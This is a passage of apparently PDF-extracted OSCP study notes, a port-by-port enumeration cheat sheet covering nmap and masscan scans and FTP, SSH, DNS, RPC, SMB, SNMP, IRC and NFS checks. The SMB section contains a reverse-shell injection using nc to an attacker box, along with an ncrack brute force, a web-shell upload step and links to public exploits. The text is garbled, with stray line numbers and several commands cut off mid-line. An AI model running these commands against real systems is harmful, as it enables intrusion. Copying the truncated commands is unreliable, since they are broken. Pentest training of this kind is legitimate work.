**OSCP Notes**

by Adithyan AK (blog.adithyanak.com)

Enumeration

# Port Scanning :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

nmap -sC -sV -o nmap -A -T5 10.10.10.x

Host Discovery

* nmap -sn 10.10.1.1-254 -vv -oA hosts
* netdiscover -r 10.10.10.0/24

DNS server discovery

* nmap -p 53 10.10.10.1-254 -vv -oA dcs

NSE Scripts Scan

\* nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blo Port specific NSE script list :

ls /usr/share/nmap/scripts/ssh\*

ls /usr/share/nmap/scripts/smb\*

**Scanning all 65535 ports :**

1 masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports

1. ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | so
2. nmap -Pn -sV -sC -p$ports 10.10.10.x

4

1. Running specific NSE scripts :
2. nmap -Pn -sC -sV --script=vuln\*.nse -p$ports 10.10.10.x -T5 -A

**sC** - default scripts, **sV** - scan for versions, **oA**- output all formats

Optional - **sT** (performs full scan instead of syn-scan to prevent getting ﬂagged by ﬁrewalls) From Apache Version to ﬁnding Ubuntu version -> ubuntu httpd versions

# FTP : (Port 21)

anonymous login check ftp <ip address>

username : anonymous pwd : anonymous

ﬁle upload -> put shell.php

# SSH : (Port 22)

**id\_rsa.pub : Public key that can be used in authorized\_keys for login**

**id\_rsa** : Private key that is used for login. Might ask for password. can be cracked with and john

ssh2john

id\_rsa

ssh -i id\_rsa [user@10.10.10.x](mailto:user@10.10.10.x)

For passwordless login, add id\_rsa.pub to target's authorized\_keys ssh2john

# DNS Zone transfer check : (Port 53)

If port 53 is open

Add host to /etc/hosts

dig axfr smasher.htb @10.10.10.135 https:/ ghostphisher.github.io/smasher2

Add the extracted domain to /etc/hosts and dig again

# RPC Bind (111)

1 rpcclient --user="" --command=enumprivs -N 10.10.10.10

2 rpcinfo –p 10.10.10.10

3 rpcbind -p 10.10.10.10

**RPC (135)**

1 rpcdump.py 10.11.1.121 -p 135

2 rpcdump.py 10.11.1.121 -p 135 | grep ncacn\_np // get pipe names

3

4 rpcmap.py ncacn\_ip\_tcp:10.11.1.121[135]

**SMB (139 & 445)**

**https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html**

1 nmap --script smb-protocols 10.10.10.10

2

3 smbclient -L //10.10.10.10

1. smbclient -L //10.10.10.10 -N // No password (SMB Null session)
2. smbclient --no-pass -L 10.10.10.10
3. smbclient //10.10.10.10/share\_name

7

8 smbmap -H 10.10.10.10

9 smbmap -H 10.10.10.10 -u '' -p ''

10 smbmap -H 10.10.10.10 -s share\_name

11

1. crackmapexec smb 10.10.10.10 -u '' -p '' --shares
2. crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares
3. crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
4. crackmapexec smb 10.10.10.10 -u '' -p '' --share share\_name

16

17 enum4linux -a 10.10.10.10

18

19 rpcclient -U "" 10.10.10.10

1. \* enumdomusers
2. \* enumdomgroups
3. \* queryuser [rid]
4. \* getdompwinfo
5. \* getusrdompwinfo [rid]

25

26 ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v

27

28 mount -t cifs "//10.1.1.1/share/" /mnt/wins

29

30 mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gi

31

32 SMB Shell to Reverse Shell :

33

1. smbclient -U "username%password" //192.168.0.116/sharename
2. smb> logon “/=nc ‘attack box ip’ 4444 -e /bin/bash"

36

1. Checklist :
2. \* Samba symlink directory traversal attack

# SMB Exploits :

Samba "username map script" Command Execution - CVE-2007-2447 Version **3.0.20** through **3.0.25rc3**

Samba-usermap-exploit.py -

https:/ gist.github.com/joenorton8014/19aaa00e0088738fc429cff2669b9851 Eternal Blue - CVE-2017-0144

SMB v1 in Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016

https:/ github.com/adithyan-ak/MS17-010-Manual-Exploit SambaCry - CVE-2017-7494

**4.5.9** version and before

https:/ github.com/opsxcq/exploit-CVE-2017-7494

# SNMP (161)

1. snmpwalk -c public -v1 10.0.0.0
2. snmpcheck -t 192.168.1.X -c public
3. onesixtyone -c names -i hosts
4. nmap -sT -p 161 192.168.X.X -oG snmp\_results.txt

5 snmpenum -t 192.168.1.X

**IRC (194,6667,6660-7000)**

nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htb

# https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor (exploit code) NFS (2049)

showmount -e 10.1.1.27 mkdir /mnt/nfs

mount -t nfs 192.168.2.4:/nfspath-shown /mnt/nfs